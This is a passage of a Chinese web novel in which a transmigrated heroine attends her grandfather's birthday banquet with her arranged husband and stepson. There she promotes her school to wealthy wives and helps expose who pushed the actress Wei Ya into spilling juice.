镜中的女人宛若深海而来的人鱼女王,大片雪背裸露,纤薄的蝴蝶骨振翅欲飞。 往下,是高开叉的鱼尾裙摆,走动间,两条长腿若隐若现。 金苒脸都红了。 她从来没有穿过这么大胆的衣服,只感觉浑身不得劲。 可又不得不承认,这件礼服是真的很好看,斜肩露背的设计,铺满细腻的闪片,波光粼粼好似被月光包围,布料尺寸裁剪得当,每一处都完美贴合身材,勾勒出优雅又性感的弧度。 羞赧褪去,是越看越浓烈的欢喜。 人一高兴就想要分享,等造型终于结束后,她迫不及待走出门去。 另一边,男人的礼服比女人要简单多了,江明羧早已经换好衣服坐在客厅看书,听到动静转过头来。 第28章 第28章嫉妒!赤果果嫉妒!…… 金苒这人,有害羞但不多。 一旦她打心里接受了某件事物,那她的自信也会跟着认同水涨船高。 譬如此刻,她穿着那件走路都不能迈大步子的银色礼服,美到像月端坠落人间的天使,实际内心想的是却是打脸惊艳所有人。 打脸……金静暂时不在这里,只能往后推迟,收获几个惊艳 的赞扬还是可以的。 金苒满心都是同人分享的喜悦。 原本打算去找家里的佣人,她在别墅有几个聊得来的“老姐妹”,平日会一起聊聊天,她虽然只是负责听的那个,但瓜子花生管够,别墅的女佣人也爱和她说点家长里短。 没想到出门会遇见江明羧。 金苒眨了眨眼,几乎立刻改变主意。 和谁分享不是分享?也是她之前没有考虑清楚,只想着找人求夸夸,却忘记了她现在在外人眼里是锦衣玉食的江太太。 一个太太,跑去向佣人们展示漂亮的晚礼服,总有一种高高在上不食人间烟火的感觉。 实际只有金苒自己知道,她卡里仅仅二十万而已。 “好看吗?” 她笑着走到江明羧面前,学着电视剧里的女主一般,原地转了几圈。 可惜鱼尾裙包裹着腰臀,并没有转起来花圈,但那缕若有似无的香气却蓦的散开。 江明羧呼吸一窒,片刻后点头:“不错。” 金苒笑容更盛了,她觉得江明羧很有眼光,注意到男人身上是一件墨蓝色西装,眼睛亮了亮。都说穿衣服好看的男人有很多,但能把西装穿的好看的男人才是真绝色,稍微不合适,就会变成银行中介保险编外人员。 显然,江明羧这样的人不在其行列。 挺括的肩线往外延伸,衬得身材愈发挺拔,腰间含蓄内收,反而显现出精瘦的腰身,头发也特意打理过,往后梳着,举手投足间流露出让人震慑的成熟魅力,她同样不吝啬地竖大拇指:“你今天也特别帅气。” 两人面对面而站。 距离那么近,近到江明羧自然忽略不了女人眼中的欣赏。 和之前那种压抑着厌恶的假笑不同,此刻她目光干净透亮,纯粹得不带一丝杂质。 眼尾微微上挑,睫毛浓密如蝶翼,眸色在灯光下泛着浅浅的琥珀光,像是被精心打磨过的琉璃,让人忍不住想捧在手心珍藏。 这样想着,他也这样做了。 指腹轻轻触上睫毛,柔软的弧度飞快地颤了颤,金苒笑着往后躲:“别,我刚染了睫毛,会弄塌的。” 他顿了下,没有再继续动作,而是手指往下落,隔空指了指她的脖颈:“空了点。” 闻言,金苒眨了眨眼。 是她想的那个意思吗? 她对别人的钱没有占有欲,但对方主动送的话也没有必要拒绝,尽管原身衣帽间已经有数不清的饰品,这一刻她还是懊恼道:“我也觉得有点空,之前的那些项链好像都不大合适。” 江明羧:“我让王助理送过来。” 轻描淡写的语气,豪掷千金的魄力,一瞬间让金苒觉得更帅了! 所以她就不计较他擦掉自己睫毛膏的事情啦。 这时候,江许黎姗姗来迟。 虽然对这种场合毫无兴趣,但如果他不出场,外界大概会猜测他对他爸的这场婚姻非常不满,先不说江许黎不愿意成为其中谈资,江明羧也不会允许那样的事情发生。 金苒看到少年,眼前又是一亮。 这父子俩怎么回事,一个个都可以直接打包出道了! 酷盖少年穿上正儿八经的西装,瘦高的个子清爽干净,一手插兜,一手随意垂在身侧,姿态慵懒却不失矜贵,活脱脱贵公子风。 察觉到金苒的目光,江许黎顺着打量了女人几眼,却是难以理解地皱眉:“勒的这么紧,等会儿吃饭不得吐出来?” 金苒:“……” 她收回之前的评价,儿子终究是儿子,和老子比审美差了点:“哦,我不是饭桶,一顿饭吃不到三碗米饭。” 一顿刚好吃三碗米饭的饭桶江许黎:??? 他忍不住看向他爸,试图找回一点儿支持,结果男人淡淡道:“嗯,我也吃不到。” 嫉妒,赤.裸.裸的嫉妒! 少年脸气得通红,可实际上心里却没有多少波动。 究其原因……或许是这次,他没有从他爸的话中感受到嫌弃吧。 甚至还有点儿笑意。 第二天,江许黎特意穿上校服在学校门口溜达,想要一雪前耻,结果发现金苒没有来! 请假一天的金苒美美晚起了两个小时。 待她起床后,家里已经没有人,她独自吃了一顿丰盛早餐,然后动身去六十六小学考察教师编考试的地点。 地方有点偏,金苒是打车去的,路上她忍不住感慨时间过得真快。 不知不觉中,她穿过来已经有一个多月了,或许因为每天都忙碌充实,竟然也没有时间想起上辈子的生活。 亲自确定考试地点,金苒打道回府,这么一来一回就花费了两百大洋,把她心疼得不行,最后一点儿的思缅也没了,回忆是成功者的特权,她的革命尚未成功,仍需继续努力。 回到家,金苒又和管家要来驾校教练的联系方式,一鼓作气把报名考驾照的事情一并处理完毕。 等到晚上,江明羧和江许黎从外面回来,三人做好造型后坐车前往金家。 彼时,金家老宅正在经历一场风波。 金老爷子沉默坐在上首,年老的雄狮身体已然疲惫,但掀开眼皮时的目光仍旧让底下的小辈浑身发颤。 半晌:“我记得我说过,不要试图搞小动作。” 金德国有些不满:“爸,是江明羧胃口太大,直接把东西全吞了,嘴张的那么大,也不怕噎住!” “那你想怎么样,”金老爷子面无表情,“我们求的是合作,是有背后的支撑,不是让你借着人家扒皮吃肉喝血!” “四房那几个已经进去了,怎么,你要想进去陪他们?” 大家顿时不说话了。 谁都没想到,江明羧会那么狠。 在国外那样混乱的地方都能把人送进去,甚至不惜以身设局,之前金家人沉浸在愤恨中看不清真相,现在想想,只觉得不寒而栗。 过了会儿,金德国道:“可现在人已经邀请了,我们还能怎么办?” 金老爷子疲惫地叹了口气:“尽量让两人不要见面,还有,给我看好小静,不要让她再做什么蠢事!” 说到后面,金老爷子眼底已经浸满寒霜。 再疼爱的孙女,和家族相比,也要往后退让。 众人答应下来,转头出了书房,便是另外的心思。 “老头子真是小题大,小静也是关心苒苒,她做妹妹的抢了姐姐的婚事,现在还不帮衬家里,说得过去么!” 金德柱被大哥说的讪讪:“都说嫁出去的女儿泼出去的水,那孽障现在连我的话都不听了。” 事实上,他何曾把这个女儿放在心上过?偏偏金家突遭变故,当时的金苒言之凿凿江明羧未来必成首富,父女俩这才合计着把婚事抢了过来。 起初,这场联姻确实给家里带来了不少好处,可最近一段时间金苒开始敷衍了事,现在更是将他的话视如无物。 这让金德柱很是愤怒。 金德国皱着眉头打断了他的思绪:“算了,先拦住记者,给他们些封口费。” 万一闹大就不好收场了。 / 这些事情金苒并不知道。 金老爷子住在西边的老宅,他们三人到的时候,宴会才刚刚开始,大厅里没有多少来宾。 得到消息的金老爷子立刻将人请过去。 金苒一开始还担心自己露馅,结果老爷子对她这个孙女根本不在意,简单问了几句就打发她出去,看着像是要和江明羧商谈要事。 原身的父亲倒是想说点什么,金苒却不愿意和他过多牵扯,一把拉住要离开的江许黎:“不是说饿了吗,你对这里不熟悉,我带你去吃东西吧!” 江许黎:“?” 他什么时候说过这种话? 满心疑惑对方又在cue饭桶的事情,那边,金苒已经一把挽住少年胳膊,后者身体变得僵硬,不知是力气不济还是没有准备,竟也像只小鸡崽似的被她拉走了。 夜幕降临,宴厅灯火通明,光滑的大理石地面折射出璀璨的光。 身着高定礼服的宾客们三三两两聚成群,或举杯浅酌,或低声谈笑,每个人脸上都带着恰到好处的社交笑容,有端着酒水的侍者穿行其中,眼观六路耳听八 方,并在宾客酒杯将空时适时添上。 两人刚从书房出来,就吸引了不少人的目光。 金苒是金家二小姐,未出嫁前在圈子里也算一位名人,不过不是什么好名声罢了,说她尖酸刻薄,穷奢极欲,相比较她那位淑女堂姐,圈内名媛对金苒想来鄙视避之。 所以即便眼前的女人气质和以前似有不同,大家还是一眼认出了她,倒是和金苒一同出现的少年,有些眼生。 有聪明的,联想金苒嫁给江明羧一事,已经猜出来。 然后,忍不住微微惊讶。 当时金苒嫁给江明羧的消息一出来,便惊破了不少人的眼球,尤其那些对江明羧芳心暗许的豪门千金更是气得咬牙切齿,实在想不通江明羧为什么会看上金苒。 后来听说江明羧结婚没几天便出差,大家才自觉发现了真相。 有说是金家对江明羧有恩,趁机挟恩图报;有说和金家无关,是金苒使了手段强行嫁人,总之无论哪种版本,都指向殊途同归的一个结论——江明羧不喜欢金苒。 这样想着,宴厅上的人心中逐渐升起了点儿看热闹的心思。 毕竟那少年满脸烦躁,看着像是很不满的样子啊…… 第29章 第29章魏雅竟是原书女主?!…… “你喜欢吃蓝莓口味还是草莓口味,或者巧克力?” 金苒望着餐点区的小蛋糕,陷入选择纠结:“其实抹茶味道也不错,上次王厨烤的抹茶饼干,连小三花都馋得喵喵叫。” 闻言,江许黎耳朵一动。 他没有吃过抹茶味的,想来自己当时应该不在家,本来并不觉得饿,这会儿被金苒一引,肚子突然咕噜噜叫去来,犹豫了会儿,他拿起一个抹茶的蛋糕,入嘴瞬间茶香馥郁,奶油口感清爽微甜,一点儿也不腻。 “怎么样?” “可以。”江许黎点了点头,进食的速度不仅没有减慢反而变快了。 毫无意外,金苒听到了身后的倒吸气声。 她若无其事勾了勾唇角,假装什么也不知道,也伸手拿起一块蓝莓味道的蛋糕,故意走到其他宾客附近的位置上小口小口品尝起来。 见状,等着看好戏的人有些坐不住了。 难道他们猜错了? 想象中后妈和继子剑拔弩张的画面没有出现,两人相处算不得亲昵,却也相安无事。金苒耐心地为继子挑选蛋糕,后者竟也坦然接受,这出乎人意料的和谐让众人面面相觑,几个机灵的率先反应过来,主动端着酒杯上前寒暄。 说到底,不是所有人都对金苒有偏见。 比如和江明羧同辈的那些贵太太们,差了金苒十几岁,虽然早间也听过一些风言风语,但终究没有真正相处,此刻见金苒落落大方的模样,再联想明技科技如今的声势,互相交换过眼神,便也露出友好的笑容。 “是江太太吧?” “哎呀,这么漂亮我还以为是哪来的仙女呢,怎么最近不见出门?要不是你爷爷金老的寿辰,我们怕是都没机会认识。” 金苒回过头。 她是真的饿了,再怎么控制进食速度也吃掉了半块蛋糕,于是一不小心,嘴边就沾了一层白色的奶油圈,像一只偷吃的猫咪,黑白分明的杏眼睁得圆圆的,抬头望过来的时候单纯又真诚,让人不自觉想回以微笑。 贵太太们内忖,这副模样哪里有半分传言中的不堪? 看来不是有人故意败坏她的名声,就是这位金二小姐、如今的江太太心思深沉,故意装出这副模样。 但大家观察了会儿,都觉得不像演的。看到她们过来的时候,江太太脸上的诧异显而易见,反应过来后,神情由茫然转为惊喜,还带着几分不好意思的拘谨:“各位姐姐妹妹好,我最近有些忙,一直没有时间出门。” 瞧瞧,她们几人中最年轻的也有三十岁,比这位刚大学毕业没多久的江太太大了五岁有余,结果告诉她之后,人家还震惊表示大家看着和她的同学一样大,甭管是真心还是客套,贵太太们都被哄得逗乐了。 心也诚了点儿,笑着打趣:“原来是有事情忙啊,还以为是江总结婚后舍不得美人露面,金屋藏娇呢。” 大家捂着嘴笑起来,金苒偷偷掐了自己一把,把脸憋得红红的,做出一副害羞的样子:“不是不是,他没有藏我,是我自己每天要去学校,所以才没有空闲。” “去学校?” 一开始,贵太太们只以为她去学校办事情,毕竟在场谁没为自家孩子跑过几趟学校?金苒嫁过去就有一个十五岁的儿子,某些事情想躲都躲不了。 结果紧接着就听到金苒说:“嗯,我现在是中学数学老师,需要每天过去上课。” 众太太:??? 数,数学老师? 一时间,大家有些怀疑自己的耳朵。 后面见金苒信誓旦旦,甚至从包里拿出教师工牌晃了晃,众人纷纷陷入微妙的沉默中。 能来参加金老爷子寿宴的就没有穷人,有些是嫁了好老公,有些是自己有产业,投资点项目,买点儿股份,每年什么不干也能拿分红,日常生活看秀喝茶做保养,根本不需要辛苦坐班。 谁也没有想到,江明羧的太太会去当老师。 甚至大部分人都觉得她是为了那个继子,为了展现自己贤惠的后妈形象,特意应聘老师,如此就可以更好地照顾继子。 扪心自问,连她们这些亲妈也做不到如此地步。 在家照顾孩子已经很费力气,居然还要追到学校,难道她们就没有自己的生活要过吗? 想到这里,贵太太们对“卧薪尝胆”的金苒简直佩服得五体投地,不怪继子不排斥金苒,毕竟这不止是后妈,还是自己的老师…… 金苒只看表情就能猜出她们的想法,不由道:“其实老师很好的。” 她发自内心地认真:“福利好,六险两金,工作稳定属于国家公职人员,假期充足,每年都有寒暑假,成就感更是拉满,亲自将祖国的花朵们培育成栋梁之材,以后走在街上,说不定一百个人里面就有一个是你的学生,难道不好吗?” “额,听起来好像是不错。” “况且孩子在学校的情况,咱们做家长的只能从老师那儿打听,要是自己当了老师,孩子的表现不就能第一时间掌握了!” 太太们笑起来:“江太太说的有道理,不过我家那小子已经够烦人了,要是让我再去管几十个同样的皮猴子,非得疯了不可!” “对啊,还是年轻人有活力。” “关键还得家里人支持。我年轻时就喜欢设计衣服,一直想开个服装品牌,可我家那位非说家里不缺钱,不让我出去折腾。” 闻言,金苒脸上露出不认同的表情:“这就是姐夫的不对了,光想着让姐姐享福,想着回家就能看见娇妻,不知道咱们女人天天在家也无聊,还是得有自己的事业。” 那位太太疯狂点头:“就是这个道理,天天在家无聊的很呢。” 其实开店的想法由来已久,只是身边人都觉得她是吃饱了撑的,但让她放弃又心有不甘,如今得到金苒的认同,仿佛从背后推了一把,终于让她下定了决心,并打算回去就着手筹备。 感动之余,这位太太也愿意投桃报李:“不知道江太太在哪个学校?我家侄子今年正好升高中,还没想好去哪呢。” 金苒心里偷偷喜,来了来了,终于进入主题了! 她今天来寿宴可不是为了吃蛋糕,交朋友,而是肩负校长的使命:“我在文承中学,文承中学是咱们A市数一数二的中学,占地面积全市最大,去年的本科率达到了百分之六十,而且校长看重学生,愿意为学生建造室内体育馆和实验室……” 打算建但没有建成也算是有那个意愿,金苒选择春秋笔法一笔带过,针对学校的好处,以及学校打算和企业合作等事情一一道来。 怕这些太太们不理解,她把自己做的方案拿出来。 “ 我一个学数学的,不懂什么商业,不过我们家那位说人才培养和任名权都挺不错,表示后续合适的话让明技科技参与进去。” 这也是金苒春秋笔法了,她刚和校长讨论完就来了寿宴,根本没有时间和江明羧谈论相关事情,但现在为了投石问路,只能借着江明羧的名气放出半真半假的消息。 果不其然,在场的贵太太们有些意动,但她们不懂教育方面的投资,纷纷表示要回去和家里人商量一番。 同时忍不住在心底感慨,外界传言有误啊,夫妻俩的关系明明很好。 金苒早就料到不会一下子成功,此刻并未感到失落。同样的,她也没有打算直接去找那些老总谈合作。 一来,她现在的身份只是江明羧的太太,贸然以个人名义谈生意反而被人轻视; 二来,那些商界老狐狸精于算计,万事讲究利益至上,她怕属于谈判小白的自己会误入对方的陷阱。 反倒是夫人外交这个迂回策略更适合现在的她。 正说着,不远处突然传来一阵嘈杂的议论声。 金苒微微侧头,目光穿过一道道阻碍,准确无误地落到事故发生地点。 其实不用她特意找,也知道在哪个方向。 觥筹交错的人群中,江明羧长身而立,剪裁精良的墨蓝西装衬得他气质卓绝,一出现便吸引走所有人的目光。 只是可惜,此刻那件西装变得颜色深浅不均,浸染了大面积果汁,淅淅沥沥往下滴着水。 在他面前,则站着一个瘦弱的年轻女孩,女孩手中端着的高脚杯已经空空如也,她满脸慌乱地从包里掏出手帕,想要帮忙擦拭,却又不敢真的触碰江明羧。 见状,贵太太们表情微妙,她们的丈夫大多有钱有势,平日里经常遇到类似经历,有忍不住的当场便阴阳怪气:“哎呀,现在的女孩子手段真是层出不穷。” “可不是嘛,故意往江总身上泼果汁,下一步就该要联系方式赔偿了吧?” “呵呵,我认识她,跟着长裴娱乐的少东家来的,名字叫魏雅,是个娱乐圈小演员。” “这些娱乐圈的女人不好好拍戏,怎么天天想着走歪门邪道!” 有人宽慰:“江太太你放心,江总出了名的洁身自好,之前有个影后故意往江总身上撞,江总.理都没理呢。” 话音未落,那边的江明羧皱了皱眉,当着众人的面接过手帕。 贵太太们:“……” 一时间,大家都不敢去看金苒的表情啦! 刚感慨完夫妻俩感情好就被打脸,世界上没有比这更尴尬的事情,尤其还亲眼目睹丈夫接受别的女人的东西,搁在谁的身上也得生气! “被生气”的金苒却是看着人群中的女孩微微一愣。 那不是她在超市遇到的古风美女吗? 魏雅,古风,古风,魏雅…… 所以对方竟是原书女主?! 第30章 第30章你们两个谈恋爱不要拉上…… 金苒怔然片刻,回过神后不由得感慨,这个世界真是好小哦。 小说中,原身和女主的初次相遇是在一次晚宴上。彼时,原身早已沦为豪门圈中人人同情的弃妇,善良的女主听了她的遭遇后,心中生出几分怜悯,并借此联想到自己和男主的关系,一瞬间幡然醒悟。可以说,原身不过是推动男女主感情发展的一个微不足道的工具人。 金苒回忆了一番关于宴会的描写,觉得应该不是这一次。 这让她颇感遗憾,毕竟看不到书中那个月下激吻的名场面了。 落入其他人目光中,则是金苒伤心到话都说不出来。 几位太太交换了个眼神,忍不住出声安慰:“男人都是图一时新鲜,这种小明星不足为惧,等过些时日,随便使些手段就能把人封杀了。” “对啊,金妹子千万别放在心上,咱们女人也要学会享受,改天去姐姐那儿去喝下午茶。” 金苒回过神,听到太太们的劝慰,心下一囧。 她是嫌活的时间不够长才去主动招惹女主吗? 何况旁人不清楚内情,她却知道自己和江明羧的婚姻只是一场商业联姻,她没有理由,也懒得过问对方的私生活。 不过……“下午茶可以,到时候林姐可别嫌我烦。” 金苒笑得轻松惬意。 几个太太见她这副样子,不约而同松了口气。 至少没有伤心到失去理智。 实际上,金苒比她们想象中还要更轻松。 打定主意不掺和女主的事情,她甚至有闲情逸致吃起瓜来。 小说中的女主除了男主,还认识十几个蓝颜知己,这些蓝颜无一例外都是各行各业的佼佼者。 早在第一次见到江明羧时,她就曾误会对方是某个男配,发现认错人之后,金苒还疑惑过这样优秀的男人为什么没有配给女主,本以为是两人没有交集,现在看来又并非如此。 这边,她全身心沉浸在八卦的思绪中,匆匆找过来的江许黎,心情却是沉重。 身为儿子,他其实并不了解他爸的私生活,小时候,身边的人开玩笑要给他找个后妈,年幼的江许黎害怕有人来抢走父亲,很是吃味,他们一说,他就闹着哭。 现在他长大了,早就过了需要独占父爱的年纪,即便他爸真的给他娶了一个后妈,心里也没有太大的波动。 但金苒不同,所有人都看得出她有多在意他爸,乍然撞见这样的画面,肯定会生气难过。 这一刻,江许黎心中无端窜起几簇怒火——对他爸的。 他或许是个好商人,好老板,但绝不是一个好父亲,好丈夫! 拳头攥起又松开,江许黎看了一眼“伤心欲绝”的金苒,破有些感同身受,犹豫再三,转身朝某个方向而去。 就当是看不惯他爸吧! “……多亏您儿子帮助了我弟弟,我才知道他在学校里经常被欺负,一直想当面谢谢您,但总找不到合适的机会。” 江明羧听着魏雅的感谢,表情没有什么变化。 片刻后他点头道:“这件事情我知道了,如果你想道谢,他今天也来了这里。” 闻言,魏雅很是惊喜:“真的吗?那太好了!” 转而看到江明羧身上的水渍,又觉得尴尬极了,忙拿出帕子想要帮他擦一擦,后者却不着痕迹地后退半步,避开了她的手。 魏雅是个心思细腻的姑娘,察觉到了男人的抗拒,立刻停下来:“抱歉,是我唐突了,要不…您自己擦擦?” 江明羧本想拒绝,余光不经意瞥到旁边人群,以及人群中对自己怒目而视的江许黎:“……” 如果不是被拦住,江明羧毫不怀疑他这蠢儿子会冲上来。 一点儿也没长进。 他觉得头疼,想到什么,顺着某个方向望过去,果然发现了坐在宴席中间,正偷偷往这看的金苒。 四目相对之际,江明羧忽然改变主意,伸手接过帕子。 “不用道歉,是我不习惯别人碰我。” 魏雅一怔。 自助甜品区,吃瓜吃的正开心的金苒,突然看到江明羧转身,视线精准地锁定了她所在的位置。 金苒:??? 等等,他为什么朝自己走过来了? 心中不由得疯狂呐喊,然而没有人听到,蛋黄酥酥皮破碎,手心不自觉用力,开始窸窸窣窣往下落了蛋花,她坐在原地,眼睁睁看着江明羧一步步走近,然后停在自 己面前,递出手中的帕子。 “帮我一下。” 金苒又听到了倒吸气声,比之前还要响亮。 莫名的,她有些想笑,但忍住了。 她听到身后的太太们用一种恍然大悟的语气说:“原来接手帕是为了让自己太太帮忙擦干净!” “哎呀,江总果然还是那个洁身自好的江总呢。” “小苒漂亮又年轻,男人要是眼睛不瞎,肯定都会喜欢!” 在众人的夸赞中,金苒只停顿了零点零三秒的时间后,便动作自然地将帕子接过来。 无论真相如何,在外人眼中,她都是他名义上的配偶。 她不在意弃妇的身份,但倘若某些事情能让自己的名声变好,她也不介意去做。 两人一站一坐,距离恰到好处,金苒微微仰起脖颈,纤长的手指捏着丝帕轻轻擦拭,动作熟练得仿佛已经做过无数次。 于是又引来一波众人对他们感情深厚的赞叹。 可惜果汁渗透得太快,而这套高定西装最忌沾水,金苒勉强擦去表面果渣,闻讯而来的金德国见到这幅画面,心里咯噔一下,可事情已经发生,他只能连声道歉。 然后请江明羧去休息室更换衣物,并表示会把闹事的人赶出去。 “等一下。” 金苒笑吟吟地喊住这位亲大伯,一点儿也不在意对方铁青的脸色,指着紧张的魏雅说道:“我刚才看到有个人推了她一把,所以应该不是意外,而是故意栽赃陷害,大伯你可要好好查,不能让别人觉得我们金家是软柿子呢。” 说这话的时候,金苒故意提高了点儿音量,确定周围的宾客都能听到,虽然女主遇到困难总会逢凶化吉,但她既然看到了真相,就没办法置之不理。 另一边,魏雅同样认出了金苒的身份。 第一反应,原来她是江太太,那她遇到的两人大概不是姐弟,而是母子。 又听到她为自己说话,眼眶一热,险些落下泪来。 原来在这世上还有人愿意无条件地相信自己。 她突然觉得压在心底的那些事情变得不值一提,前路开阔坦荡,一片光明。 / 金家人去查监控,金苒和换完衣服的江明羧父子二人也过去了。 宴厅比较大,安装的摄像头足足有七个,按照由近到远的距离一一排查,很快就找到了当时的画面。 “就是他。” 金苒指着画面中的男人,肯定道:“我看到他推了魏雅,而且这个角度,他两根胳膊都抬起来了,分明是故意的。” 她一心找出罪魁祸首,没有注意到,江许黎在看到监控中的人时有一瞬间的震惊。 少年立刻望向江明羧,男人倒是表情未变,平静道:“既然证据确凿,那就交给警察处理吧。” 金德国后背发凉,没想到江明羧比想象中还要冷漠无情,连…… 他打住自己的想法:“江总放心,这次是我们没有做好安保工作,让无关人员闯进来,后续一定会严肃处理!” 回到宴厅,长裴娱乐的少东家也带着魏雅过来道谢。 “江总,我底下的艺人给您添麻烦了。” 魏雅闻声站出来,满脸羞愧地再一次道歉,还向江许黎表达了感谢:“谢谢你帮我弟弟。” 少年看着酷酷的:“只是顺手。” 他本来就不是为了感谢才那样做。 话虽如此,魏雅还是郑重地表达谢意。 一旁,无所事事的金苒在得知几人的身份后,好奇地打量起来,注意力着重放在那位娱乐圈的少东家。 很年轻,大概二十出头,五官温润柔和,有点儿男生女相。 她知道对方也是男配之一,属于无私守护类型,为了女主甘愿做背后的男人,直到最后男女主在一起也没有表露过自己的感情,而是选择默默退场。 思及此,金苒看着对方的眼神免不得有些同情,江明羧察觉到后,眉头往下压了压。 而后不动声色往前挪了半步,挡在两人中间。 “如果没有其他事,我们先走一步。” 不知为何,少东家突然感觉到眼神压力,面对这位和他爸爸同起同坐的长辈,他不敢造次:“好好好,江总和江太太慢走。” 从寿宴离开,金苒还在回想原书中复杂的感情关系。 她不是一个憋得住话的人呢,纠结半晌,忍不住问江明羧:“你刚才为什么要让我给你擦啊?” 江明羧:“外人眼里,我们是夫妻。” 这话倒是不假,但她说:“其实你也可以让魏雅给你擦的,我不是那种善妒的女人。” 江明羧顿了顿,侧头看向她:“我为什么让她擦?” 就连从上车后就格外沉默的江许黎也奇怪地抬起头。 金苒眼睛滴溜溜转,林间鹿似的灵动漂亮:“就是,你不觉得她特别漂亮,特别单纯,特别善良,像一朵出淤泥而不染的小白花吗,让人一看就有保护欲!” 如果她是男人,她一定会沦陷的。 江明羧面无表情:“没有。” 回答的斩钉截铁。 金苒瞪大眼睛,试图从男人脸上找出撒谎的端倪,结果发现并没有! 他真的不喜欢女主! 这让她微微有些惊讶,在一本万人迷小说中居然还有男人不喜欢女主。不由得再次想起了自己曾经的那个猜测,难道真是因为年纪大,那方面不行? 副驾驶座的江许黎突然疯狂咳嗽起来。 他咳的太厉害了,几乎要把肺给咳出来,金苒吓了一跳,抬头望过去,然后就对上了江明羧黝黑的脸色。 她这才后知后觉,自己一不小心,把心底话给说出来了。 “……” 气氛一时变得尴尬,前排的小孙和江许黎大气不敢喘,心想这样私密的事情是他们能听的么? 不听也听了,只能缩起脖子当鹌鹑。 金苒更是后悔到恨不得找个地缝钻进去,她怎么就没有控制住自己的嘴巴呢,正当她头脑风暴要如何挽回尴尬场面时,却听到身旁的江明羧反问:“你希望我喜欢她?” “……咳,当然不是!” 金苒迅速反应过来,并为自己找了个借口:“我只是听说有好多男生都喜欢她,好奇你们男生的审美。” 闻言,江明羧眯起眼睛。 他观察了她这么久,自认为对她的一些习惯已经了如指掌。 比如紧张的时候,她就会像现在这样无意识扣指甲。 她似乎很关注那个叫魏雅的女生…… “每个人的审美不同。”最后,江明羧回答。 “那你的审美是什么样的?” 话音刚落金苒就后悔了……没事她对他好奇什么啊,茶色玻璃映出男人如墨的眸子,视线触及,胸膛里的心跳落了一拍。 她默了默,移开目光,一副不感兴趣的样子:“算了算了,我才没兴趣听你一个已婚男人的审美,对了小黎,你在学校有喜欢的女孩子吗?” 突然被cue的江许黎:? 虽然期盼被重视,可此刻并不是很想被看见呢。 “你现在还是高中生,就算有喜欢的女孩子,也要先以学业为重。”金苒谆谆教诲。 江许黎憋了憋,终于憋不住了:“不是,你们两个谈恋爱能不能不要拉上我一个未成年啊。” 他才不要当电灯泡! 金苒:“……” 江明羧:“……” 后半程,车上安静到落针可闻,等到刚进别墅,金苒就迫不及待下车往家跑,她俩辈子没有遇到这么尴尬的事情,再待下去脚趾都要抽筋了! 身后,望着逃也似的女人,江明羧眼底划过极淡的笑意。【你现在阅读的是 】 30-40 第31章 第31章教师编笔试 “江总,公关部拦住了几个娱乐小报的消息,已经处理。” 从金家离开的半小时,王特助便打电话过来汇报工作。 “记者是金静找来的,金老爷子知道后立刻让人拦下并悄悄送走,还给了一封口费用,不过有几个记者不甘心空手而归,所以拿了钱之后又偷偷溜了进去。” 要王特助说,那几个记者也是胆大包天,随便抓拍了几张模糊照片就敢胡编乱造,竟把他们太太描绘成十恶不赦的反派角色。 可惜太太天生丽质,三百六十度无死角,那些人拍来拍去,不是捕捉到她优雅从容的侧影,就是拍到她和煦如春风的微笑,最后只能悻悻然地打上马赛克。 门外传来细微的动静,江明羧同那头的王特助交代了几句:“行,我知道了。” 他挂断电话,过去打开卧室的门,一眼看到在外面转圈的江许黎。 “有事?” 江许黎没想到他会突然开门,身体变得僵硬,又强制性舒展肩膀:“有点事要问您。” 江明羧让开身子:“进来吧。” 江许黎倒也没有磨蹭,等他爸关上门,他直接问:“那个人是大伯爷吗?” 江明羧坐在卧室的皮质沙发上,此刻脸上是显而易见的疲惫,他捏了捏太阳穴:“我说过,不用管老家的那些人。” 江许黎看到父亲的样子,心里很不是滋味。 就好像他突然发现无所不能的父亲也有累的时候:“我只是奇怪,他为什么要那样做。” 故意推人,故意让父亲在酒宴上难堪。 为什么,他不是父亲唯一的亲人吗? 在江许黎认知里,从小父母双亡的父亲是被大伯爷养大的,所以他们家的亲人只剩下大伯爷一家,本应该亲密无间,但事实却截然相反。 江明羧从不让他和老家那边联系,小时候,甚至多次将前来投奔的老家人赶走。 江明羧还是那句话:“你不用管。” 又是不用管。 一瞬间,江许黎不知道心里是什么滋味,怒火有之,丧气有之,难过亦有之,他沉默了许久,久到下唇咬出血丝,突然开口问:“是不是和我妈有关?” 江明羧动作顿住。 江许黎抬起头,眼睛直直看着眼前这个让自己又敬又怕的男人,却坚持道:“今年暑假,我想回老家。” 刚洗完澡的金苒闭眼睡觉,突然听到隔壁的摔门声,本来昏昏欲睡的瞌睡瞬间跑了,一个翻身从床上弹起来,鬼鬼祟祟地趴到门上偷听。 然后,没有然后了。 别墅的门板隔音效果太好,除了一阵嗡嗡嗡她什么也没有听到。 金苒犹豫了会儿,最后还是决定不出去了,他们父子两人的矛盾就让他们父子俩去解决吧,自己一个后妈实在不好掺和。 第二日周五。 早晨的餐桌上,气氛古怪到金苒想忽略都没有办法忽略。 虽然父子俩很少说话,但之前还会偶尔问答几句,今天却是连眼神交流都没有了。 以至于金苒也跟着沉默,低头搅碗里的粥,她本来就有些好奇,现在看到父子俩的反常,那股按捺不住的好奇心就像有只顽皮的小猫,正用爪子一下下挠着她的心尖。 啧,这俩人到底怎么了? 江许黎没有察觉金苒一下一下偷看自己的小眼神,他没什么胃口,快速扒拉完面前的饭,一声不吭出门上学。 走的时候,把房门摔得震天响。 饭桌上只剩下两个人。 虽然昨天才发生过尴尬的乌龙,但睡过一觉后,再大的事情在成年人这儿都会翻篇,金苒看了一眼丝毫不受影响的江明羧,故意咳嗽几声引起对方注意力:“那个,小黎看着好像很不开心的样子,他这样没事吧?” “没事。”江明羧语气淡淡,似乎根本没有放在心上。 金苒:“……” 她更好奇了,又想着到底生活在同一个屋檐下,两个人吵架多少也会影响她,譬如今天她都没好意思和江许黎抢糖醋排骨吃。 于是斟酌着开口:“其实,高中生正处在叛逆期,许多事情不能和他们反着来,要好好沟通。” 她一副欲言又止的模样,江明羧何等聪明,立刻明白她话里的深层含义。 不由得眼底带笑,放下筷子问:“金老师在心疼学生?” 金老师…… 金苒听着耳根发烫。 第一次在家里被喊这个称呼,有一种大街上被人喊网名的羞耻感,但表面强装镇定:“对啊,那可是我们班的数学苗子,后续“搭档”学习我还要重用他呢,你要是欺负人,我作为老师可不能放过你!” 江明羧终于忍不住低声笑起来。 男人很少笑,此刻唇角微扬,眼尾勾起一抹罕见的弧度,嗓音里还带着未散的笑意,倒是冲淡了身上的冷漠:“没什么大事,只是他想暑假里去旅游。” 